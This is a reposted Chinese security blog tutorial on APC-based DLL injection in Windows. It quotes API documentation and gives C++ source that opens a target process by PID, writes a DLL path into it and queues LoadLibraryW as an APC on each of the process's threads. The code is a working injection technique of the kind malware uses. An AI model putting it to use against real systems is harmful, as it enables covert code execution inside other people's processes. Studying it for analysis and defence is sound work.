APC注入DLL源码分析

admin 2024年8月9日16:46:09评论15 views字数 3230阅读10分46秒阅读模式

APC注入DLL源码分析

获取LoadLibrary地址

GetModuleHandleA 函数 (libloaderapi.h)

    官方文档:https://learn.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea?redirectedfrom=MSDN

    检索指定模块的模块句柄。模块必须已由调用进程加载。

HMODULE GetModuleHandleA(  [in, optional] LPCSTR lpModuleName);
参数 作用
[in, optional] lpModuleName 加载的模块的名称 (.dll 或 .exe 文件) 。如果省略文件扩展名,则会追加默认库扩展名 .dll。文件名字符串可以包含尾随点字符 (.) ,以指示模块名称没有扩展名。字符串不必指定路径。指定路径时,请务必使用反斜杠 () ,而不是使用 /) (正斜杠。

GetProcAddress 函数 (libloaderapi.h)

    官方文档:https://learn.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress?redirectedfrom=MSDN

    从指定的动态链接库 (DLL) 检索导出函数 (也称为过程) 或变量的地址。

FARPROC GetProcAddress(  [in] HMODULE hModule,  [in] LPCSTR  lpProcName);
参数 作用
[in] hModule 包含函数或变量的 DLL 模块的句柄。
[in] lpProcName 函数或变量名称,或函数的序号值。

APC注入dll

    OpenThread 函数 (processthreadapi.h)

官方文档:https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread

    打开现有线程对象。

HANDLE OpenThread(  [in] DWORD dwDesiredAccess,  [in] BOOL  bInheritHandle,  [in] DWORD dwThreadId);
参数 作用
[in] dwDesiredAccess 对线程对象的访问。针对线程的安全描述符检查此访问权限。
[in] bInheritHandle 如果此值为 TRUE,则此进程创建的进程将继承句柄。否则,进程不会继承此句柄。
[in] dwThreadId 要打开的线程的标识符。

QueueUserAPC 函数 (processthreadsapi.h)

    官方文档:https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc

    将用户模式 异步过程调用 (APC) 对象添加到指定线程的 APC 队列。

DWORD QueueUserAPC(  [in] PAPCFUNC  pfnAPC,  [in] HANDLE    hThread,  [in] ULONG_PTR dwData);
参数 作用
[in] pfnAPC 指向应用程序提供的 APC 函数的指针,该函数在指定线程执行可警报等待操作时调用。
[in] hThread 线程的句柄。句柄必须具有 THREAD_SET_CONTEXT 访问权限。
[in] dwData 传递给 pfnAPC 参数指向的 APC 函数的单个值。

ResumeThread 函数 (processthreadsapi.h)

    官方文档:https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread

    递减线程的挂起计数。当暂停计数减为零时,将恢复线程的执行。

DWORD ResumeThread(  [in] HANDLE hThread);
参数 作用
[in] hThread 要重启的线程的句柄。

功能实现步骤

1.获取当前程序DEBUG权限

2. 根据pid通过OpenProcess获取进程句柄

3. VirtualAllocEx申请内存区块并通过WriteProcessMemory写入dllPath指向内容

4. 获取loadLibrary地址

5. 线程遍历

6. APC注入DLL

// 1.获取当前程序DEBUG权限if (!CurrentProcessAdjustToken()) {_putts(TEXT("Invalid AdjustToken"));}DWORD pid = 0;pid = _wtoi(argv[1]);if (pid <= 0) {_putts(TEXT("Invalid pid"));return 0;}// 2. 根据pid通过OpenProcess获取进程句柄HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);// 3. VirtualAllocEx申请内存区块并通过WriteProcessMemory写入dllPath指向内容const wchar_t* dllPath = argv[2];_putts(dllPath);LPVOID mem = NULL;mem = VirtualAllocEx(process, NULL, wcslen(dllPath) * sizeof(WCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!mem) {_putts(TEXT("VirtualAllocEx error"));return 0;}if (!WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) * sizeof(WCHAR), NULL)) {DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());return 0;}// 4. 获取loadLibrary地址FARPROC pFuncAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");// 5. 线程遍历HANDLE hSnap = NULL;hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);if (NULL == hSnap) {DisplayErrorMessage((LPTSTR)"Create Snapshot error: ", GetLastError());return 0;}THREADENTRY32 te = { 0 };te.dwSize = sizeof(THREADENTRY32);Thread32First(hSnap, &te);do {if (te.th32OwnerProcessID == pid) {HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);// 6. APC注入DLLQueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)mem);ResumeThread(hThread);CloseHandle(hThread);}} while (Thread32Next(hSnap, &te));CloseHandle(hSnap);CloseHandle(process);

原文始发于微信公众号(蟹堡安全团队):APC注入DLL源码分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月9日16:46:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APC注入DLL源码分析https://cn-sec.com/archives/3048389.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息